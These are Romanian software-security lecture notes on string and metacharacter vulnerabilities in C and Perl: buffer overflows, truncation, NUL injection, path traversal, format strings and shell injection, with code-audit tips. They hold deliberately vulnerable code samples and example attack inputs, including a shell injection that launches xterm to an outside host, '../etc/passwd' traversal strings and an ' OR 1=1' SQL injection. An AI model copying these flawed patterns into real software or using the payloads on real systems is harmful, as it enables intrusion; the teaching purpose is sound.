Securitate Software

IV. Vulnerabilități în utilizarea și manipularea șirurilor de caractere

Obiective

- aspecte de securitate legat de cod ce manipulează șiruri de caractere
- prezentarea unor vulnerabilități ce rezulta din manipulearea metacaracterelor
  - C format string
  - shell metacharacter injection

Continut

Șiruri în C

- nu exista un tip de dată dedicat șirurilor de caractere
- vectori de caractere terminați cu NUL
- necesită procesarea manuală
  - alocare statică (dimensiunea maximă)
  - alocare dinamică (administrare greoaie)
- C++ ofera suport pentru șiruri
  - conversia între șiruri C++ și șiruri C necesită uneori folosirea de API C

Funcții pe șiruri în C ce nu verifică limita sirurilor - descriere și probleme

- manipularea șirurilor
- nu se ia în considerare dimensiunea buffer-ului destinație
- poate duce la *buffer overflow*
- code audit
  - analizați toate căile de execuție pentru funcții nesigure
  - determinați dacă astfel de funcții pot fi apelate în cazul în care dimensiunea sursei este mai mare decât destinația

Funcții "scanf"

- folosite pentru citire (fișier, string)
- fiecare element specificat in *format string* e stocat într-un argument
- când se foloseste "%s", vectorul ce stocheaza șirul citit trebuie să fie destul de mare pentru a putea memora tot șirul
- aparțin API *libc* (UNIX și Windows)
- funcții similare: _tscanf, `wscanf`, `sscanf`, `fscanf`, `fwscanf`, _snscanf, _snwscanf

Funcții "scanf" (II)

- exemplu cod vulnerabil (nu se verifică limita pentru *user*, ...)

```
char buffer[1024];
int sport, cport;
char user[32], rtype[32], addinfo[32];

if (read(sockfd, buffer, sizeof(buffer)) <= 0) {
   perror ("cannot read");
   return -1;
}

buffer[sizeof(buffer) - 1] = '\0';

sscanf(buffer, "%d:%d:%s:%s:%s", &sport, &cport,
     rtype, user, addinfo);
```

Funcții "sprintf"

- atunci când buffer-ul destinație are dimensiunea mai mică decât datele de intrare poate apărea o vulnerabilitate *buffer overflow*
- vulnerabilitățile se datorează în principal șirurilor de intrare ce folosesc specificatorul "%s"
- aparțin API *libc* (UNIX și Windows)
- funcții similare: _stprintf, _sprintf, _vsprintf, vsprintf, swprintf, vswprintf, _vswprintfA, _wsprintfW

Funcții "sprintf" (II)

- exemplu cod vulnerabil (nu se verifică limita pentru *szBuf*)

```
static void WriteToLog(jrun_request *r, const char *
    szFormat, ...) {
  va_list list;
  char szBuf[2048];

  strcpy(szBuf, r->StringRep);
  va_start();
  vsprintf(strchr(szBuf, '\0'), szFormat, list);
  va_end();
}
```

Funcții "strcpy"

- "faimoasă" datorită numeroaselor vulnerabilități bazate pe această familie de funcții
- copiază în destinație conținutul sursei până la caracterul NUL
- dacă buffer-ul destinație este mai mic decât sursa apare o vulnerabilitate *buffer overflow*
- aparțin API libc (UNIX și Windows)
- funcții similare: `_tcscpy`, `lstrcpyA`, `wcscpy`, `_mbscpy`

Funcții "strcpy" (II)

- exemplu cod vulnerabil

```
char buffer[1024], username[32];
n = read(sockfd, buffer, sizeof(buffer) - 1));
buffer[n] = 0;
strcpy(username, buffer);
```

Funcții "strcat"

- similar cu *strcpy*
- aparțin API libc (UNIX și Windows)
- funcții similare: _tcscat, wcscat, _mbscat

Funcți pe șirurin C care verifică limita șirurilor - descriere și probleme

- conceput pentru a oferi programatorilor o alternativă mai sigură la funcțiile care nu verifică limita șirurilor
- argument ce specifică lungimea maximă
- vulnerabilitățile apar datorită utilizării eronate a argumentului lungime
  - neatenție
  - input greșit
  - eroare la calculul lungimii
  - erori aritmetice
  - conversie intre tipuri de date

Funcții "snprintf"

- înlocuitor pentru *sprintf*
- aparțin API libc (UNIX și Windows)
- funcții similare: _sntprintf, _snprintf, _vsnprintf, `vsnprintf`, _snwprintf
- versiuni mai sigure (Windows): _snprintf_s, _snwprintf_s
- funcționalitate diferită sub Windows și Linux când se atinge limita
  - Windows: se intoarce -1 iar șirul nu se termină cu NUL
  - UNIX: șirul se termină cu NUL și întoarce numărul de octeți ce ar fi fost scriși dacă ar fi fost destul loc
  - **Observație** (MSDN): începând cu UCRT în Visual Studio 2015 și Windows 10 funcțiile `snprintf` și _snprintf nu mai sunt identice
    - ★ `snprintf` respectă standardul C99

Funcții "snprintf" (II)

- exemplu cod vulnerabil (aplicație Windows ce tratează șiruri în mod UNIX)

```
int log(int fd, char *fmt, ...) {
  char buf[4096];
  va_list ap;

  va_start(ap, fmt);
  n = vsnprintf(buf, sizeof(buf), fmt, ap);
  if (n > sizeof(buf) - 2)
    buf[sizeof(buf) - 2] = 0;
  strcat(buf, "\n");
  va_end(ap);
  write_log(fd, buf, strlen(buf));
}
```

Funcții "strncpy"

- alternativa sigură la *strcpy*
- primește numărul maxim de octeți ce trebuie copiați în destinație
- aparțin API libc (UNIX și Windows)
- funcții similare: _tcsncpy, _csncpy, `wcscpyn`, _mbsncpy
- versiuni mai sigure (Windows): strncpy_s, wcsncpy_s
- nu garantează terminarea șirului destinație cu NUL în cazul în care lungimea șirului sursă este mai mare decât valoarea permisă
- folosirea unui șir care nu se termina cu NUL poate fi o vulnerabilitate

Funcții "strncpy" (II)

- exemplu cod vulnerabil

```
int is_username_valid(char *username) {
  delim = strchr(user_name, ':');
  if (delim)
    *delim = '\0';
  ...
}

int authenticate(char *user_input) {
  char user[1024];
  strncpy(user, user_input, sizeof(user));
  if (!is_username_valid(user)) // strchr pe argument
  goto fail;
}
```

Funcții "strncat"

- alternativa sigură la *strcat*
- aparțin API libc (UNIX și Windows)
- funcții similare: _tcsncat, wcsncat, _mbsncat
- aspecte neînțelese: parametrul *size* indică cât va fi copiat în buffer **nu** dimensinea totala
- exemplu cod vulnerabil (se specifică dimensiunea totala pentru *buf*)

```
int copy_data (char *username) {
  strcpy(buf, "username is: ");
  strncat(buf, username, sizeof(buf));
  log("%s\n", buf);

  return 0;
}
```

Funcții "strncat" (II)

- parametrul *size* nu ține cont de caracterul NUL de la sfârșitul șirului, care este adaugat
- exemplu cod vulnerabil (off-by-one error)

```
int copy_data (char *username) {
  strcpy(buf, "username is: ");
  strncat(buf, username, sizeof(buf)-strlen(buf));
  log("%s\n", buf);

  return 0;
}
```

- când parametrul *size* este dedus dintr-o formula trebuie avut în vedere erori de tipul *integer overflow / underflow*

```
sizeof(buf) - strlen(buf) - 1
```

Funcții "strlcpy"

- reprezintă o extensie BSD la API *libc*, remediind deficiențele *strncpy*
  - garantează terminarea șirului destinație cu NUL
- nu este așa des folosită datorită problemelor de portabilitate
- aparține API *libc* (BSD)
- code audit: dimensiunea întoarsă este lungimea șirului sursă, care poate fi mai mare decât dimensiunea șirului destinație

Funcții "strlcpy" (II)

- exemplu cod vulnerabil, când *len* este mai mare decât 1024 $\Longrightarrow$ *integer overflow*, convertit la size_t (unsigned int)

```
int qualify_username (char *username) {
  char buf[1024];
  size_t len;

  len = strlcpy(buf, username, sizeof(buf));
  strncat(buf, "@127.0.0.1", sizeof(buf) - len);
}
```

Funcții "strlcat"

- reprezintă o extensie BSD la API *libc*, remediind deficiențele *strncat*
  - garantează terminarea șirului destinație cu NUL
  - parametrul *size* este dimensiunea totala a șirului destinație, nu spațiul rămas (*strncat*)
- întoarce numărul total de octeți necesari pentru a crea șirul destinație (dimensiunea șir *destinație* + dimensiunea șir *sursă*)

Unbounded copies

- nu se verifică limita bufferului destinație
- exemplu cod vulnerabil

```
if (recipient == NULL) &&
     Ustrcmp(errmess, "empty address") != 0) {
   uschar hname[64];
   uschar *t = h->text;
   uschar *tt = hname;
   uschar *verb = US"is";
   int len;

   while (*t != ':')
     *tt++ = *t++;
   *tt = 0;
}
```

Character expansion

- apare atunci când programele codifică caractere speciale, șirul rezultat este mai lung decât cel inițial
- des întîlnit la metacaractere și la formatarea datelor pentru a le face inteligibile (human readable)
- exemplu: pentru fiecare caracter special din *src* sunt scriși doi octeți în destinație

```
int write_log (int fd, char *data, size_t len) {
  char buf[1024], *src, *dst;
  if (strlen(data) >= sizeof(buf))
    return -1;
  for (src = data, dst = buf; *src; src++) {
    if (!isprint(*src)) {
      sprintf(dst, "%02x", *src);
      dst += strlen(dst);
  } else
    *dst++ = *src;
  }
}
```

Pointeri ce cresc greșit

- în cazul în care pointerii cresc peste limita șirului pe care operează:
  - șirul nu se termina cu NUL (rezultatul *strncpy*)
  - șirul era formatat corect (se termina cu NUL) dar acum nu mai este cazul
- ex 1: vulnerabil deoarece nu ține cont de faptul ca *buf* poate să nu se termine cu NUL

```
int process_email(char *emal) {
  char buf[1024], *domain;
  strncpy(buf, email, sizeof(buf));
  if ((domain = strchr(buf, '@')) == NULL)
    return -1;
  *domain++ = '\0';
  ...
}
```

Pointeri ce cresc greșit (II)

- ex 2: vulnerabil deoarece nu ține cont de faptul ca *read* nu termina *buf* cu NUL

```
char username[256], netbuf[256], *ptr;

read(sockfd, netbuf, sizeof(netbuf));
ptr = strchr(netbuf, ':');
if (ptr)
  *ptr++ = '\0';
strcpy(username, netbuf);
```

- ex 3: vulnerabil deoarece nu verifică dacă șirul se termină cu NUL

```
for (ptr = src; *ptr != '@'; ptr++);
```

- ex 4: variație pe exemplul 3

```
for (ptr = src; *ptr && *ptr != '@'; ptr++);
ptr++;
```

Pointeri ce cresc greșit (III)

- când programul face presupuneri asupra conținutului șirului prelucrat, atacatorul poate manipula programul
- ex 5: vulnerabil deoarece programul nu verifică dacă datele respenctă formatul prelucrat

```
for (i = j = 0; str[i]; i++, j++)
  if (str[i] == '%') {
    str[j] = decode (str[i+1], str[i+2]);
    i += 2;
  } else
    str[j] = str[i];
```

Greșeli simple

- cu cât textul prelucrat este mai complex cu atât este mai probabil ca programatorul să facă greșeli
- o greșeală comună este folosirea incorectă a variabilelor pointer, dereferențiere greșită sau deloc
- exemplu cod vulnerabil

```
while (quoted && *cp != '\0')
  if (is_qtext((int) *cp) > 0)
    cp++;
  else if (is_quoted_pair(cp) > 0)
    cp += 2;
  ...
int is_quoted_pair (char *s) {
  int res = -1;
  int c;
  if (((s+1) != NULL) && (*s == '\\')) {
    c = (int) *(s+1);
    if (ap_isascii(c))
      res = 1;
  }
  return res;
}
```

Metacaractere - descriere

- metadate = informație care descrie sau argumentează datele principale
  - ex. formatul de afișare
- reprezentare în interiorul textului (*in-band reprezentation*)
  - metadatele incorporate în date
  - realizat prin caractere speciale (metacaractere)
  - exemple: șir terminat cu **NUL** in C, '**/**' în calea unui fișier, '**.**' în numele unei mașini (adr. IP), '**@**' dintr-o adresa e-mail, etc.
  - **avantaje**: scriere compactă, text mai lizibil
  - **dezavantaje**: probleme de securitate prin suprapunere (date si metadate puse în același context)
- reprezentare separată (*out-of-band reprezentation*)
  - metadatele sunt separate de date
  - exemple: tipuri de șiruri in C++, Java, etc.
- problemele de securitate apar când datele de intrare conțin metacaractere ce nu au fost corect filtrate

Delimitatori

- vulnerabilități apar dacă
  - atacatorul poate introduce (în plus) caractere ce au rolul de delimitator
  - datele de intrare nu sunt filtrate
- $\Longrightarrow$ *injected delimiter attacks*
- exemplu cod vulnerabil (datele nu sunt filtrate)
  - fie un format predefinit "username:password", caracterele '**:**' și '**n**' sunt folosite pe post de delimitatori
  - dacă un utilizator *bob* ar putea furniza o parola sub forma "*pass**n*atacator:pass_atacator*n*"
  - fișierul ce emorează utilizatorii și parolele ar arăta
    bob:pass
    atacator:pass_atacator
- code audit: cautați șabloanele prin care aplicația preia date de intrare (ca șir formatat) fără a le filtra
- *second order injection*: stochează datele de intrare și interpretează-le mai târziu

Exemplu cod vulnerabil

```
use CGI;
.......
$new_password = $query->param('password');
open(IFH, "</opt/passwords.txt") || die("$!");
open(OFH, ">/opt/passwords.txt.tmp") || die("$!");
while(<IFH>){
   ($user, $pass) = split /:/;
   if($user ne $session_username)
      print OFH "$user:$pass\n";
   else
      print OFH "$user:$new_password\n";
}
close(IFH);
close(OFH);
```

Code Review

1. identificați codul ce tratează șiruri cu metacaractere
2. identificați caracterele cu rol de delimitator
3. identificați și verificați dacă se face filtrare pe datele de intrare
4. $\Longrightarrow$ orice caracter cu rol special nefiltrat poate duce la vulnerabilități

NUL character injection

- apare datorită diferențelor dintre C și alte limbaje de nivel înalt în tratarea șirurilor
- caracterul NUL poate sa nu aiba semnificație speciala în alte limbaje de nivel înalt, dar aceste limbaje pot folosi API C, pasând acestor API caracterul NUL
- vulnerabilitatea *NUL byte injection* este o problemă ce nu depinde de tehnologia folosită, în final interacțiunea este cu sistemul de operare
- o vulnerabilitate apare atunci când un atacator poate include un caracter NUL intr-un șir de caractere, șir ce va fi tratat mai târziu în modul C
- inserând un caracter NUL atacatorul poate trunchia șiruri tratate în modul C

Exemplu cod vulnerabil la "NUL character" injection

- ex 1: variabila *username* nu este filtrată dupa caracterul NULL (ex. "cmd.pl%00)

```
open(FH, ">$username.txt") || die ("$!");
print FH $data;
close(FH);
```

- ex 2: nu se verifică dacă s-a citit caracterul NUL

```
if (read(fd, buf, len) < 0)
  return -1;
buf[len] = '\0';
for (p = &buf[strlen(buf)-1]; isspace(*p); p--)
  // daca primul octet este 0, se scrie inaintea lui buf
  *p = '\0';
```

Exemplu cod vulnerabil la "NUL character" injection (II)

- funcția *gets* nu se oprește la caracterul NUL

```
if (fgets(buf, sizeof(buf), fp) != NULL)
buf[strlen(buf)-1] = '\0'; // poate scrie inaintea lui buf
```

Trunchiere

- reprezintă cazurile în care un șir ce depășește în lingime dimensiunea unui buffer este trunchiat
- poate avea efecte vulnerabile
- ex 1: trunchierea unei extensii

```
char buf[64];
int fd;

snprintf(buf, sizeof(buf), "/data/profiles/%s.txt", username);
fd = open(buf, O_WRONLY); // poate deschhide un fisier fara exte
```

- căile catre un fișiere sunt cele mai expuse la vulnerabilități de trunchiere

Trunchiere (II)

- ex 2: vulnerabil datorită limitărilor impuse variabilei *username*
  - lungimea cerută poate fi atinsă prin repetarea caracterului "/" ("////") sau prin repetarea caracterelor ce indică directorul curent ("./././.")

```
char buf[64];
int fd;

snprintf(buf, sizeof(buf), "/data/%s_profile.txt", username);
fd = open(buf, O_WRONLY);
```

Code audit pentru trunchiere

- verificați funcțiile ce ar putea trunchia șirul rezultat
- înțelegeți comportamentul
  - buffer-ul destinație este umplut?
  - buffer-ul destinație se termină cu NULL?
  - buffer-ul destinație este schimbat în cazul unei trunchieri / overflow
  - care este semnificația valorii de retur?
- exemplu *GetFullPathName* (Windows)
  - intoarce lungimea rezultatului (calea catre fișier) dacă e mai mică decât șirul destinație
  - întoarce numărul de octeți necesari dacă lungimea rezultatului depășește șirul destinație (*overflow*)
  - întoarce 0 în caz de eroare

Formatul metacaracterelor pentru căi - context

- specific resurselor organizate ierarhic
  - căi pentru fișiere
  - căi pentru regiștrii
- calea este formată din componente aflate în ierarhie, componentele sunt separate prin delimitatori (metacaractere)
- dacă formarea căii se face pe baza datelor introduse de utilizator (date nefiltrate)
  - un atacator poate avea acces la elemente din ierarhie la care nu ar avea permisiuni
  - exemplu: *path truncation*

File canonicalization

- fiecare fișier are o cale unică
- reprezentarea acestei căi nu este unică

```
c:\Windows\system32\calcl.exe
\\?\Windows\system32\calc.exe
c:\Windows\system32\drivers\..\calcl.exe
calc.exe
.\calc.exe
..\calc.exe
```

- *file canonicalization* = transformarea unei căi în forma sa cea mai simplă
- specific fiecărui sistem de operare (Windows diferit de UNIX)
- cel mai exploatat vector de atac pentru *file canonicalization*: aplicația nu verifiă dacă se accesează alte fișiere decât cel dorit (*directory transversal*)
  - bazat pe notația "**..**"
  - atacatorii accesează fișiere în afara directorului unde au permisiuni

File canonicalization (II)

- exemplu cod vulnerabil: nu se verifică variabila *username* (un atacator poate furniza ca și date de intrare "../../../../etc/passwd")

```
use CGI;

$username = $query->param('user');
open(FH, "</users/profiles/$username") || die("$!");
print "<B>User Details For: $username</B><BR><BR>";

while (<FH>) {
   print;
   print "<BR>";
}
close(FH);
```

Windows registry

- funcții Windows pentru manipularea înregistrărilor:
  - *RegOpenKey()*, *RegOpenKeyEx()*,
  - *RegQueryValue()*, *RegQueryValueEx()*,
  - *RegCreateKey()*, *RegCreateKeyEx()*,
  - *RegDeleteKey()*, *RegDeleteKeyEx()*, *RegDeleteValue()*
- vulnerabil la trunchierea căii catre înregistrări
- exemplu cod vulnerabil la trunchiere

```
char buf[MAX_PATH];
snprintf(buf, sizeof(buf), "\\SOFTWARE\\MyProduct\\%s\\subkey2"
    , version);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buf, 0, KEY_READ, &hKey);
```

- secvențele "///////" sunt reduse la "/"
- cheile sunt deschise în două etape
  - cheia / înregistrarea este deschisă
  - o anumită valoare este manipulată cu ajutorul altor funcții

Windows registry (II)

- vulnerabl în următoarele situații:
  - atacatorul poate manipula direct valoarea cheii / înregistrării
  - atacatorul vrea să manipuleze chei, nu valorile stocate în chei
  - aplicația folosește un API de nivel înalt ce separă cheia de valorile stocate
  - numele valorii corespunde cu valoarea ce vrea să fie manipulată în altă cheie

C Format strings

- erori în utilizarea funcțiilor din familia *printf*, *err* și *syslog*
- datele rezultat sunt formatate conform unui parametru (*format string*), ce conține specificatori de format
- **problema**: date de intrare nesigure sunt folosite ca și șir de formatare
- dacă un atacator poate furniza anumiți specificatori de format
  - argumentele furnizate nu exista
  - $->$ valorile cerute se vor lua de pe stivă
  - $->$ information leakage attack
- specificatorul special "*%n*"
  - așteaptă ca și argument un pointer de tip *int*, acesta primește ca și valoare numărul de caractere afișate până acum
  - $->$ un atacator poate scrie valori arbitrare într-o locație de memorie arbitrară
  - $->$ memory corruption attack

C Format strings (II)

- code audit
  - căutați toate funcțiile ce formatează șiruri și verificați să nu aveți șiruri formatate de utilizator

C Format strings - vulnerabilități

- ex 1

```
int main(int argc, char **argv) {
  if (argc > 1)
    printf(argv[1]);
  return 0;
}
```

- ex 2: *syslog* formatează suplimentar datele

```
int log_err(char *fmt, ...) {
  char buf[BUFSIZE];
  va_list ap;
  va_start(ap, fmt);
  vsnprintf(buf, sizeof(buf), fmt, ap);
  va_end(ap);
  syslog(LOG_NOTIC, buf);
}
```

Sfaturi

- argumente pentru gcc
  - *-Wall*
  - *-Wformat*, *-Wno-format-extra-args*
  - *-Wformat-nonliteral*

Metacaractere shell

- context
  - aplicații care apelează alte aplicații externe pentru a realiza anumite cerințe
- în general programele sunt rulate în două moduri
  - direct, folosind o funcție *execve()* sau *CreateProcess()*
  - indirect, prin linia de comandă (shell) cu funcții precum *system()* sau *popen()*
- dacă un utilizator are acces la linia de comandă dintr-un program $\Longrightarrow$ shell metacharacter injection attack

Metacaractere shell - exemple cod vulnerabil

- *user_email* poate conține metacaractere *shell* ce vor fi interpretate shell

```
int send_mail(char *user_email) {
  char buf[1024];
  int fd;
  char *prgname = "/usr/bin/sendmail";
  snprinf(buf, sizeof(buf), "%s -s \"hi\" %s", prgname
      , user_email);
  if ((fd = popen(buf, "w")) == NULL)
    return -1;
  ... write mail ...
}
```

- date de intrare vulnerabile și comanda shell rezultată

```
/bin/sh -c "/usr/bin/sendmail -s "hi" user@sample.com;
    xterm -display 1.2.3.4.:0"
```

Code audit

- determinați dacă pot fi executate comenzi arbitrare via *shell metacharacter injection*
- filtrați caracterele cu interpretare speciala: ';', '|', '&', '<', '>', '“', '!', '*', '-', '/', '~', etc.
- comportamentul aplicației poate fi controlat prin variabilele system
- verificați cum interpretează datele aplicația care rulează $->$ *second level shell metacharacter injection attack*
  - ex. programele e-mail preiau fiecare linie ce incepe cu '~' și o execută în shell

Functia Perl open() - funcționalitate

- oferă capabilități multiple
  - deschide fișiere și procese
  - modul de deschidere al fișierelor depinde de anumite metacaractere specificate la începutul și sfârșitul numelui fișierului
- *mode characters*
  - '$<$' (la început): deschide fișierul pentru citire
  - '$>$' (la început): deschide fișierul petnru scriere, dacă nu există fișierul este creat
  - '$+ <$' (la început): deschide fișierul pentru citire-scriere
  - '$+ >$' (la început): deschide fișierul pentru citire-scriere, dacă nu există fișierul e creat
  - '$>>$' (la început): deschide un fișierul pentru adăugare
  - '$+ >>$' (la început): deschide un fișierul pentru adăugare, dacă nu există fișierul e creat
  - '$|$' (la început): argumentul este o comandă, creează *pipe* pentru a rula comanda cu drepturi de scriere
  - '$|$' (la sfârșit): argumentul este o comandă, creează *pipe* pentru a rula comanda cu drepturi de citire

Exemple de cod vulnerabil

- ex 1: nume de fișier vulnerabil (ex. *'— xterm -d 1.2.3.4:0;'*)

```
open(FH, "$username.txt") || die("$!");
```

- ex 2: similar exemplu 1 (*'foo; xterm -d 1.2.3.4:0 —;'*)

```
open(FH, "/data/profiles/$username.txt") || die("$!");
```

- ex 3: nume de fișier vulnerabil ce ar permite atacatorului sa deschidă și să citească date (ex *'>log'*)

```
open(FH, "+>$username.txt") || die("$!");
```

Filtrarea metacaracterelor - eliminarea metacaracterelor

- strategie:
  - respingerea cererilor periculoase
  - eliminarea caracterelor periculoase
- ambele variante implică filtrarea datelor primite de la utilizator, adesea folosind expresii regulare
- eliminarea caracterelor este opțiunea mai riscantă dar și mai robustă
- ex: verifică dacă există caractere ilegale în datele primite

```
if ($input_data =~ /[^a-zA-Z0-9_ ]/) {
   print "Error. Input data contains illegal characters!";
   exit;
}
```

Filtrarea metacaracterelor - eliminarea metacaracterelor (II)

- ex 2: înlocuirea caracterelor ilegale

```
$input_data =~ s/[^a-zA-Z0-9_ ]/g;
```

- două tipuri de filtrare
  1. **black lists**: *explicit deny*
  2. **white lists**: *explicit allow* (considerat mai restrictiv / sigur)
- ex 3: black list

```
int islegal(char *input) {
  char *bad_chars = "\"\\|;<>&-*";
  for (; *input; input++)
    if (strchr(bad_chars, *input))
      return 0;
  return 1;
}
```

Filtrarea metacaracterelor - eliminarea metacaracterelor (III)

- ex 4: white list

```
int islegal(char *input) {
  for (; *input; input++)
    if (!isalphanum(*input) && *input != '_' && !isspace(*input))
      return 0;
  return 1;
}
```

Filtrare insuficientă

- ex: vulnerabil deoarece "\n" nu este filtrat

```
int suspicious (char *s) {
  if (strpbrk(s, ";|&<>``#!?(){}^") != NULL)
    return 1;
  return 0;
}
```

- trebuie să aveți în vedere diferitele implementări / versiuni ale programelor
- exemplu: când folosiți *popen*, datele sunt interpretate de *shell* și abia apoi de programul curent

Eliminarea caracterelor

- mai periculos decât respingerea cererilor periculoase, cod expus la erori
- ex 1: vulnerabil datorită unei erori de procesare cu scopul de a elimina ".." (pentru secvențe "../../", a doua secvență nu este eliminată)

```
char* clean_path(char *input) {
  char *src, *dst;
  for (src = dst = input; *src; )
    if (src[0] == '.' && src[1] == '.' && src[2] == '/') {
      src += 3;
      memmove(dst, src, strlen(src) + 1);
      continue;
    } else
      *dst++ = *src++;
  *dst = '\0';
  return input;
}
```

Eliminarea caracterelor (II)

- exd 2: încă vulnerabil la secvențe "..../"

```
char* clean_path(char *input) {
  char *src, *dst;
  for (src = dst = input; *src; )
  if (src[0] == '.' && src[1] == '.' && src[2] == '/') {
    memmove(dst, src+3, strlen(src+3) + 1);
    continue;
  } else
    *dst++ = *src++;
  *dst = '\0';
  return input;
}
```

Escaping Metacharacters

- metodă non-destructivă
- metodele diferă pentru diferitele formate de date, în general se adaugă un caracter care va invalida metacaracterul ilegal
- exemplu: vulnerabil deoarece caracterul "\" rămâne

```
$username =~ s/\"\'\*/\\$1/g;
$passwd =~ s/\"\'\*/\\$1/g;
$query = "SELECT * FROM users
    WHERE user='" . $username . "'
    AND pass = '" . $passwd . "'";
```

- dacă atacatorul frnizează "*bob\' OR user =*" pentru utilizator și "*\' OR 1=1*" pentru parolă, rezultatul este

```
SELECT * FROM users
    WHERE user='bob\' OR user =
    AND pass = '\' OR 1=1;
```

Evitarea metacaracterelor - descriere

- pot fi folosite caractere codificate pentru a evita mecanismele de filtrare
- dacă se modifică datele de mai multe ori, crește probabilitatea erorilor logice de securitate

Codificare hexazecimală

- metode de codificare URI
  - un octet este codificat de caracterul ('%') urmat de doua cifre hexazecimale reprezentând valoarea acelui caracter
  - pentru Unicode se pot folosi patru octeți precedați de "%u" sau "%U"
- ex 1: vulnerabil pentru date de forma "..%2F..%2Fetc%2Fpassword" ("../../etc/passwd")

```
int open_profile (char *username) {
  if (strchr(username, '/')) { // detectia metacaracterelor
    log ("possible attack: slashes in username");
    return -1;
  }
  chdir("/data/profiles");
  return open(hexdecode(username), O_RDONLY);
   // codificarea datelor!!!
}
```

Codificare hexazecimală (II)

- soluția: decodificarea caracterelor ilegale
  - pot să apară probleme când se decodifică greșit caracterele
  - pot să apară probleme când se fac presupuneri despre datele ce urmează dupa caracterul "%"
- ex 2: vulnerabil deoarece se presupune că un număr nu este o literă în intervalul 'a'/'A'-'z'/'Z'

```
int convert_byte (char byte) {
  if (byte >= 'A' && byte <. 'F')
    return (byte - 'A') + 10;
  else if (byte >= 'a' && byte <= 'f'
    return (byte - 'a') + 10;
  else
    return (byte -'0');
}
int convert_hex (char *string) {
  int val1, val2;
  val1 = convert_byte(string[0]);
  val2 = convert_byte(string[1]);
  return (val1 << 4) | val2;
}
```

Bibliografie

1. “The Art of Software Security Assessments”, chapter 8, “Strings and Metacharacters”, pp. 387 – 458
2. “24 Deadly Sins of Software Security”, chapter 6, “Format String Problems”, Chapter 10, “Command Injection”.